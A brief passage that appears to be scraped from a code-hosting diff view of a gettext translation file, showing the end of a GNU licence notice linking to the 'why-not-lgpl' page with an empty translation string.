"<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
|
||||
msgstr ""
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user